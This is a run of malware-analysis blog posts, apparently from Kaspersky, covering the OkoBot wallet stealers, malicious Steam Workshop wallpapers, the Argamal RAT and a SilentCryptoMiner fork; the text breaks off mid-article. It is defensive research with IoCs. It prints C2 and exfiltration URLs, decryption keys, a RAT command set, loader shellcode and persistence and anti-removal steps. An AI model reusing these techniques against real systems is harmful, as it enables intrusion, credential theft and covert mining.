The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.

SeedHunter

Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.

Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.

When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.

The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.

MC Keylogger

This module is a keylogger that, in addition to recording user input, performs three malicious activities:

1. Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
2. Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
3. Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.

Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.

OkoSpyware

This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.

The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.

Artifacts exfiltration

The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.

Victims

At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.

Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)

Attribution

At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.

It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.

Conclusion

The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.

The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.

Indicators of compromise

Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

Dispatcher

B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll

Plugins

7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector

Injector payloads

3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll

SSH bot utilities

AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe

File paths

%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat

Domains and IPs

2baserec2[.]guru          # TookPS
recavb22[.]online         # TookPS
kbeautyreviews[.]com      # TookPS
coffeesaloon[.]online     # TookPS
104.243.43[.]16           # SSH bot
104.243.32[.]213          # SSH bot
62.210.188[.]209          # SSH bot
livewallpapers[.]online    # Volume2 C2
thatwascringe[.]com        # Volume2 C2
moonsand[.]store          # SeedHunter C2

Since late 2025, malware has been spreading rapidly through the Steam Workshop, the gaming platform’s built-in service for players to create and share custom content. The attackers are primarily targeting gamers in China and Russia, aiming to hijack their accounts. To pull this off, they are exploiting Wallpaper Engine – a popular live wallpaper app available on Steam – specifically leveraging its Workshop sharing feature. The malware is hidden inside the wallpaper packages users share with one another. Running one of these compromised wallpapers can lead to a stolen Steam account or leave the victim’s system infected with backdoors or crypto miners.

What is Wallpaper Engine?

Wallpaper Engine is an app that allows you to put animated wallpapers on your desktop. It’s available for both Windows and Android, though our investigation focused strictly on the Windows version. Thanks to a massive Steam community, the app is quite popular, boasting around 100,000 daily active users and nearly a million reviews. It comes with a built-in editor so users can create their own designs, and it supports a few different wallpaper types:

• Videos: MP4, WebM, and other common video formats
• Scenes: interactive wallpapers built inside the app’s own editor
• Web pages: HTML pages powered by JavaScript and CSS, which can also include audio and video elements
• Applications: active windows from third-party Windows-compatible software that Wallpaper Engine sets as the user’s desktop background

That last type, application wallpapers, is where things get risky, because these are essentially standalone programs. They can be anything from mini-games you play right on your desktop, to planners, calendars, system monitors, or widgets tracking your CPU or GPU usage.

Application wallpapers: a built-in security risk

The whole concept of “application wallpapers” essentially allows foreign code to be run directly on your computer. Cybercriminals took note of this feature and started embedding malware right into these types of wallpapers. Because Wallpaper Engine relies on Steam Workshop for content sharing, anyone can create a wallpaper and publish it for the community to download and install for free. Naturally, this setup is a magnet for bad actors.

We discovered dozens of these malicious application wallpapers floating around Steam Workshop, and each one had already been downloaded thousands – or even tens of thousands – of times.

When we analyzed them, we caught two different methods the attackers were using to spread their malware:

• An archive containing the executable wallpaper alongside the malicious files. This payload usually consisted of compromised EXE files, DLLs, or malicious scripts.
• In other cases, attackers threw a curveball by hiding the malware inside a password-protected archive. Either the victim was tricked into typing the password, or a script handled it automatically. The attackers would hide the password in plain sight – either right in the archive’s name or inside a JSON configuration installed along with other wallpaper files. For all the other variations, the payload triggered automatically when the user selected and applied the wallpaper.

Inside an infected game wallpaper

On the surface, this wallpaper sample (above) we uncovered in December 2025 looks completely harmless. Once launched, there’s absolutely nothing to trigger your suspicion. The built-in game boots up flawlessly, runs smoothly, and the desktop controls work exactly as they should. But behind the scenes, a full-blown infection is underway. Within just a few minutes, a user might suddenly realize their Steam account has been hijacked, or find their computer crippled by malware, with their files being encrypted by ransomware or their system performance tanking because of a hidden crypto miner.

Once the game wallpaper launches, it drops a backdoor file called Synaptics.exe (part of the DarkKomet malware family) straight into the victim’s system. At the same time, an executable named ._cache_GAME1.exe fires up to boot the actual game, NTRaholic.

But that ._cache_GAME1.exe module is doing double duty. It simultaneously installs a custom version of a system library called AggregatorHost.dll with a payload inside. This modified library has one main objective: track down the Steam app on the computer and hunt for account credentials.

Next, the modified library hijacks the user’s live Steam session.

After that, the compromised AggregatorHost.dll sends all the collected data to a server controlled by the hackers at hxxp://120.48.156[.]17/ey.php. Once the attackers have control of that active session, they can use the victim’s account to upload even more malicious wallpapers to Steam Workshop.

Attribution and victims

The game wallpaper described above is just one flavor of the many variations we uncovered during our research. By weaponizing the application wallpaper feature, bad actors have successfully distributed almost every type of malware under the sun – from popular infostealers and backdoors to crypto miners and botnet loaders.

Because the range of tools being used is so diverse, we suspect this isn’t the work of a single mastermind. Instead, it looks like multiple scattered, independent hacking groups are all jumping on the same trend. Right now, the primary targets are gamers in China. The wallpaper art styles and titles are tailored specifically to them, and the data backs it up: our security systems caught a staggering 89% of the malicious download attempts happening right there. That said, there’s absolutely nothing stopping these attackers from pivoting and launching a similar campaign in any other part of the world. Russia comes in second place for total downloads at 5.5%, followed by a smattering of other countries and territories: Singapore (1.4%), Hong Kong (0.9%), Germany (0.9%), Vietnam (0.9%), India (0.5%), and Canada (0.5%).

How to stay safe

Our investigation proves that even trusted platforms like the Steam Workshop aren’t completely safe from malware. In most cases, we caught old, familiar threats such as DarkKomet, the Lumma and Vidar infostealers, and the RenEngine loader. Kaspersky solutions can easily spot and block all of these payloads, no matter how clever the packaging is, thanks to our proactive security layers. Here are some of the specific threat detection verdicts assigned to the objects we discovered during our research:

• HEUR:Trojan-PSW.Win32.gen
• HEUR:Trojan-PSW.Win32.Python.gen
• HEUR:Backdoor.Win32.DarkKomet
• Trojan-Dropper.Python.Agent
• HEUR:Trojan-Ransom.Win32.Gen.gen
• PDM:Trojan.Win32.Generic.

By the time this post went live, the Steam team had already scrubbed the identified malicious wallpapers and links from the platform. However, given how frequently new infected wallpapers keep popping up on the Steam Workshop, you shouldn’t rely on Steam to catch everything. It’s highly recommended to run an antivirus scan on these types of wallpapers before you actually apply them.

Indicators of compromise

MD5

• 95856f2ce428c728d9781d3296558068
• af080780cca2acd1d082ce01e7cc346a
• c133c3dd9f7d6934598025047df41abf
• d1693bbff456ae8fa3360446706df6da
• 8c2cc585ad8a13a72a704c0fda0c9854
• b9fa763a53da3eea742d0f3c845a8c09
• ded08ae5df7f1b12e5fdb767dbbed0b1
• 20965254e29104986e11939decd39549
• 18dedc0009f0927cba6425c84cce9883
• 0f4f01c6d495abb37403072dd017ce8d
• 5620f01284329f561b1839a36be55355
• fe1f6485013cd5e6d5cf718049b0b8d6
• 74414ed4b63aadec039b603c32762b80

C2 servers

• http://202.144.192[.]29
• http://202.144.192[.]29/audit.php
• http://202.144.192[.]29/download2/Themes2.zip
• http://120.48.156[.]17
• http://120.48.156[.]17/ey.php?ka=user1&id
• http://brightly[.]to
• http://brightly[.]to/download2/Themes2.zip
• https://www.dropbox[.]com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
• https://docs.google[.]com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

Malicious wallpapers

• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3603213159
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3591930233
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3584318845
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3436875036
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3633494498
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3556591375
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3635875825
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3601924072
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3605588743
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3553253793
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3462675635
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3605621824
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3610240788
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3610366547

Update, June 17

We have since confirmed that the malicious wallpapers were present in the app as early as August 2025.

In April 2026, we discovered a new malware campaign targeting players of “hentai” games. Once launched, the infected games install a previously unknown malicious implant on the user’s machine. After a few days, the implant downloads and executes a Trojan, resulting in full system compromise and broad remote control capabilities for the attackers. We dubbed this malware family “Argamal”.

The malware uses COM hijacking to persist on the victim’s machine, replacing the InprocServer32 entry for Windows Color System Calibration Loader DLL. This task is triggered when the user logs in, effectively allowing the malware to run at startup.

Kaspersky solutions detect this threat as Trojan.Win32.Termixia.*, Trojan.Win32.Agent.*, HEUR:Trojan.Win32.Argamal.gen and HEUR:Trojan-Downloader.Win32.Argamal.gen.

Technical details

Background

In April, as part of our ongoing monitoring of telemetry data, we found some suspicious DLLs. Further analysis revealed that various versions of these DLLs have existed since at least 2024.

The DLLs were spawned by different games written using various game engines and programming languages, including RenPy (Python) and RPG Maker MV (JavaScript), among others. However, they all had one thing in common: they were all hentai games. We searched for the distribution sources and found a number of websites hosting game screenshots and download links. These links redirected users to PixelDrain, a free file transfer service.

In addition to these websites, the trojanized games have also been distributed via different torrent trackers, including AniRena.

Delivery

Both the dedicated websites and torrents delivered an archive containing the infected game.

This archive contained fully functional, legitimate game files, as well as a modified FFmpeg DLL (SHA1: 42add9475e67a1ccc6a6af94b5475d3defc01b85), that imported the DllGetClassObject function from a file called natives2_blob.bin. Since the game needs ffmpeg.dll to run properly, the library loads as soon as the user starts the game.

Script executor

The natives2_blob.bin (SHA1: edce72f59e4c1d136cd1946af70d334c19df858d) file is a DLL that executes a Base64-encoded PowerShell script when loaded.

This PowerShell script, which we’ll call Stage1, performs basic checks for controlled environments. For example, it checks for the Sandboxie folder in Program Files and Procmon64 in the process list. If all the checks indicate that the process is not running in a controlled environment, it proceeds to establish persistence.

Stage1 sets the MI_V environment variable (and also MI_V2 in the new versions of malware) for the current user to another Base64-encoded PowerShell script, which we’ll call Stage2. After that, it sets the InprocServer32 registry key at HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} to a random DLL file name in a random subdirectory of %USER%\AppData\Local, as well as the ShellFolder subkey to another random DLL file name in the same location. Stage1 also creates a scheduled task that will execute three days later. This task executes Stage2 and runs once.

Stage2 is a payload downloader script. It takes previously generated DLL filenames from the registry and downloads an encrypted payload called zaesdl.dat from GitHub using bitsadmin.exe. The downloaded payload is saved in the settings.dat file in the randomly chosen subdirectory of %USER%\AppData\Local. Stage2 decrypts it using AES-CBC with the key zbcd1j9234r670eh and an IV equal to the key. The decrypted payload is then saved in the DLL file specified in the ShellFolder registry subkey.

The decrypted payload is set as InprocServer32 at HKCU\SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}, which is a COM object used by the \Microsoft\Windows\WindowsColorSystem\Calibration Loader scheduled task. This task runs every time a user logs in, allowing the malware to run during every user session.

Before quitting, Stage2 also removes the changes made under the HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} registry key, unsets the MI_V environment variable (and MI_V2 in newer versions), and removes the scheduled task that launched Stage2.

Malicious agent

Early payload versions decrypted themselves using the 0xB0C1D4E9 rolling XOR key, where the decryption key for the i + 1 block is the encrypted content of the i block (each encrypted block being four bytes long). The most recent agent versions don’t do that.

The samples we found had string encryption; they use a simple substitution with a key that corresponds position-by-position to the following alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$./:<>*&~. The decryption process involves finding the position of each symbol of the encrypted strings in the key, and replacing it with the symbol that occupies the same position in the alphabet.
During our investigation, we found the following keys were used:

• 17htUno/I3L&fK2H#yapE@b5NqZ$Q4xmeF.s96uB>jkdWCPvAgD*XwO:iR~TMrV0YGl8z<JSc
• 71htUno/I3L&fK2H#aypE@b5NqZ$Q4xmeF.s96uB>jdkWCPvAgD*XwO:iR~TMrV0YGl8z<JSc
• E1hUtno/IL3&fK2H#ypa7@b5NqZ$Q4xmeF.s69uB>jkdWCvPAgD*XwO:iR~TrMV0YGl8z<JcS

All symbols not used in the key remain unchanged.

The payload checks for the presence of the following security solutions using the output of the tasklist command:

• Kaspersky
• Avast
• McAfee
• BitDefender
• MalwareBytes
• +36 other solutions

The payload itself is a RAT with broad functionality. The default C2 server is asper1[.]freeddns[.]org for earlier versions and Winst0[.]kozow[.]com for the latest versions of the payload. Both domains point to 186[.]158.223.35. We also saw another IP address for the first C2 in pDNS records, though we haven’t actually seen it in use. The C2 address can change based on a C2 reply or when certain conditions are met. For example, if the user’s default locale is set to “zh-CN”, the RAT sets its C2 address to country1[.]ignorelist[.]com. During most of our investigation, this domain pointed to 127[.]0.0.1, but starting April 26, it has been pointing to 186[.]158.223.35 as well.

The payload sends UDP heartbeats to port 57441 of the C2 server. These heartbeats contain information about detected security solutions, system startup time, time since last input activity, architecture info, machine IP address and username.

The C2 may respond to the heartbeat. Based on this response, the payload can perform different actions. Below is the full list of available commands.

Response first byte	Description
0x31	Run DLL on the system
0x57	Send UDP request to the specified address
0x55	Open file or link from the response
0x50	Collect information about the infected system (e.g. process list and architecture)
0x53	Execute command from the response using ShellExecuteW
0x52	Run the file specified in the response using WinExec
0x42	Delete the file specified in the response
0x41	Update C2 domain
0x59	Get new payload: connect to C2 port 63559/UDP, get new DLL and update COM path in the registry

The C2 can also set a flag in the response that will turn on the extended RAT mode. In this mode, the payload communicates with the C2 server using the 3747/tcp port.

TCP communications are encrypted using a simple substitution cipher. Each character is replaced using a fixed mapping defined by the key:

koP]Y4Os-_t?cB',aK.Wm>QM2[U!^C`*@Ff:X\6Dp8H%ATydE<e(#G&LhwRZ5znjJqgNrl)I7V$3=910"+Svxi/;ub

This key corresponds position-by-position to the standard ASCII character sequence:

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}

In other words, each character in the ASCII set is replaced by the corresponding character in the key string.

C2 requests and responses are divided into two parts by the first space character. The first part is a command and the second part is usually an argument.
After connecting and before receiving information from the C2, the malware sends metadata about the infected machine using the NOOP command. This metadata includes a run cycle counter, mounted drive metadata, time since the last input activity and data about the display settings.

Based on the C2 command, the malware can execute commands on the infected machine, perform reboot and shutdown actions, control the cursor, take screenshots, compress files into archives, and send files to other specified servers. In short, it can fully control the machine. The full list of commands is as follows:

System control

• KILL REBOOT: Reboots the infected system
• KILL POWER: Shuts down the infected system
• KILL SELF: Same as the QUIT command (described below)
• KILL ME: Exits process running the malware

Surveillance

• SCREEN / SCREEN9: makes a screenshot, saves it to the ~wra1269.tmp file and sends it to the C2

File operations

• DELETE <filename>: deletes specified file
• DELDIR <dirname>: deletes specified directory
• REN <file path 1>#<file path 2>: moves specified file
• MAKDIR <path>: creates directory
• ZIPFILE <file or folder name> / ZIPFOLDER <file or folder name>: compresses specified file/folder into a .zip archive
• TAR <file or folder name> / TAR2 <file or folder name>: compresses specified file/folder into a .tar archive
• GETFILEDATE <filename>: sends file’s last modification date
• SETFILEDATE <filename>: sets file’s last modification date
• GETFILEACC <filename>: sends file’s last access date
• DWLOAD <filename>: sends file to the C2
• UPLOAD <filename>#<C2 address>: uploads file to the specified C2 server

Reconnaissance

• USER: sends username
• KALIVE: sends run cycle counter
• IDLE: sends number of seconds passed since last input activity
• DRIVES: sends information about mounted drives
• FOLDEX <folder type>: sends full path to a directory of the specified type:
• – type = 0x63: temporary directory
• – type = 0x64: \Google\Chrome\User Data\Default\ in AppData\Local folder
• – type = 0x65: \Downloads\ in user home directory
• – type = 0x66: \Microsoft\Excel\XLSTART\ in AppData folder
• – type = 0x67: AppData folder
• LFILES <folder path>: lists and sends paths to all files in the directory
• OSVER: sends information about user, hostname, OS architecture and version
• COMPILERDATE: sends constant hardcoded in the RAT, e.g., 25.10.2025

Generic control

• DSOCKE: recreates TCP keep-alive socket
• QUIT: notifies the C2 about quitting, closes the socket and stops the process
• RUNHID <command> / RUN <command>: runs specified command inside ShellExecuteW
• RUNDOS <command>: runs specified command inside CreateProcessW
• RUNTASK <command>: creates, runs and deletes task that executes specified command
• SKEY <key code>: presses specified key
• MOUSE FREEZE: freezes mouse movement
• MOUSE <command>: clicks the specified mouse button or sets the cursor position to the specified coordinates

Other delivery methods

During our research, we also observed other delivery methods for the RAT. Instead of patching FFmpeg and downloading the payload from GitHub, the attackers included the main payload as libpython64.dat or another file with a similar name in the lib\py3-windows-x86_64 directory of the game. This .dat file was loaded by one of the libraries used in the game, which was patched for this purpose.

In another case, the threat actor posted their malicious DLL file (payload downloader) on a gaming forum, disguising it as a cheat.

Infrastructure

Our research revealed the following infrastructure was used in this attack.

Domain	IP	First seen	ASN
asper1[.]freeddns[.]org	181[.]116.218.56	September 16, 2024	11664
	186[.]158.223.35	July 01, 2025	11664
country1[.]ignorelist[.]com	186[.]158.223.35	September 10, 2025	11664
	127[.]0.0.1	November 11, 2025	–
Winst0.kozow[.]com	186[.]158.223.35	April 26, 2026	11664

Victims

According to our telemetry, hundreds of individuals were infected with this malware. The majority of the victims were located in Russia, Brazil, Germany and Vietnam.

Distribution of victims (download)

Attribution

Based on the language of the comments in the code, infrastructure data and other facts we assess with medium confidence that the developer of the downloader chain speaks Spanish.

The actor behind this attack uses Spanish in variable names and comments. For example, the Base64-decoded delivery script contains the following lines:

In addition, the JavaScript code from the website distributing infected games contains variable names, function names and comments in Spanish:

Notably, the malware payloads used in this attack had previously chosen 127.0.0.1 as their C2 server when the victim’s default locale is set to “zh-CN”, thus not targeting Chinese users. This may indicate that the attacker is associated with a Chinese-speaking threat actor or uses payloads developed by a Chinese-speaking threat actor. However, we still believe it’s unlikely that the developer of these delivery chains is Chinese-speaking.

Conclusions

The Argamal Trojan is a new RAT targeting individuals who seek adult games. During our analysis, we observed a steady stream of updates to the payload, including the addition of new features and fixes for various bugs, as well as changes to the infrastructure. This leads us to believe that the threat actor behind this malware will continue to develop and enhance it. The campaign’s goal is likely data and credential theft; however, the RAT enables the attacker to take full control of the device and execute any malicious activity they want.

Creating malware in today’s development landscape has become significantly easier thanks to the wide availability of detailed guides, tooling, and automation resources. As a result, it is crucial not only to detect known malware but also to identify new and evolving threats as they emerge. Kaspersky solutions prevented the malicious activity in the earliest stages of the attack. The solutions help ensure device security by identifying not only known threats but also the behavior of the software and its actions, providing comprehensive protection against malware.

Indicators of Compromise

File hashes
RAT payloads:
76253fb55aed707440e808ea78e7101318436b1c
1405a3c5e0aeb08012484134e16cdec4ab29b4a4
535f4337f261b6da20a3c614eb13270bed2d533a
d2cb0d7a9ad2b5d4ea7c2da8aec62beb37cf36d6
e05f1767c2a337910ed75e90288838d6d0541164
dad26f61da7b8bccc78364411812be74c025b475
29f1d346a6e71774c7dad25b90f446b2974393df
e815a9b418d09c2d4bcd074c2c0bc21406eeb22f
17f8f8f34dfa737f36182fed7ff9e9814a114058
954722b0c9c678b1313d1f8b204e102842dc5889
69331cfdac792dc79240e6a6bb6e803eabd70beb
901cfa97b1baaf908fd4a02bb52d970f576c4193
5f1f3689bcf23de1b280b5f35712946da0f7978f
c2d9d48b3b10bd58cdf5df9463e3ffcd60533ff3
2423a5bf0fa7cb9ec09211630a5488629499691b
ae4601a19d28332a3ec6ac31b385cdf53be53450

Trojan downloaders:
9803604ec45f31f9ef75bcca1e1310d8ac1fc3a6
edce72f59e4c1d136cd1946af70d334c19df858d
02819d200d1424882af81cb504b3e8614b32397a

Domains and IPs
asper1[.]freeddns[.]org
Winst0[.]kozow[.]com
Country1[.]ignorelist[.]com
186[.]158.223.35

GitHub repositories used in the campaign
hxxps://github[.]com/gmz159/u
hxxps://github[.]com/DnyP/files
hxxps://github[.]com/mgzv/p

Introduction

In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.

Clicking the link downloaded a ZIP archive with the following contents:

The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.

At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.

Link to previous campaigns

The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.

The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.

The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).

In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.

This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.

Potential distribution scale

As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.

The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.

The downloadable archive

The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.

The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.

DLL analysis

Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.

Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:

Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.

This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:

The header was intentionally modified to make it into valid shellcode:

pop     r10
push    r10
call    $+5
pop     rcx 
sub     rcx, 9
mov     rax, rcx
add     rax, 5C1000h
call    rax
retn

This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.

Going forward, we will refer to this decrypted PE file as the main module.

Main module

The module’s behavior across its different operational stages is detailed below:

The main module is a modified fork of the SilentCryptoMiner project. We have previously analyzed miners leveraging this project in other posts: Scam Information and Event Management and Undercover miner: how YouTubers get pressed into distributing SilentCryptoMiner as a restriction bypass tool. However, this specific fork has not been documented anywhere before, which is why we decided to break down its unique features in detail in this article.

Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:

• Processor information
• The serial number of the C:/ drive
• Whether the process was launched with elevated privileges
• The process start time in Unix timestamp format

The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:

The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.

The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:

1. The process is launched with elevated privileges.

In this case, preparatory steps precede the miner launch:

• The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
• It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
• Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.

powercfg /x -hibernate-timeout-ac 0
powercfg /x -hibernate-timeout-dc 0
powercfg /x -standby-timeout-ac 0
powercfg /x -standby-timeout-dc 0

This is done to maximize the miner’s potential runtime on the device.

Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.

Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:

• RAT agent → into conhost.exe
• Watchdog → into explorer.exe
• CPU miner → into explorer.exe
• GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.

2. The process is launched with standard privileges.

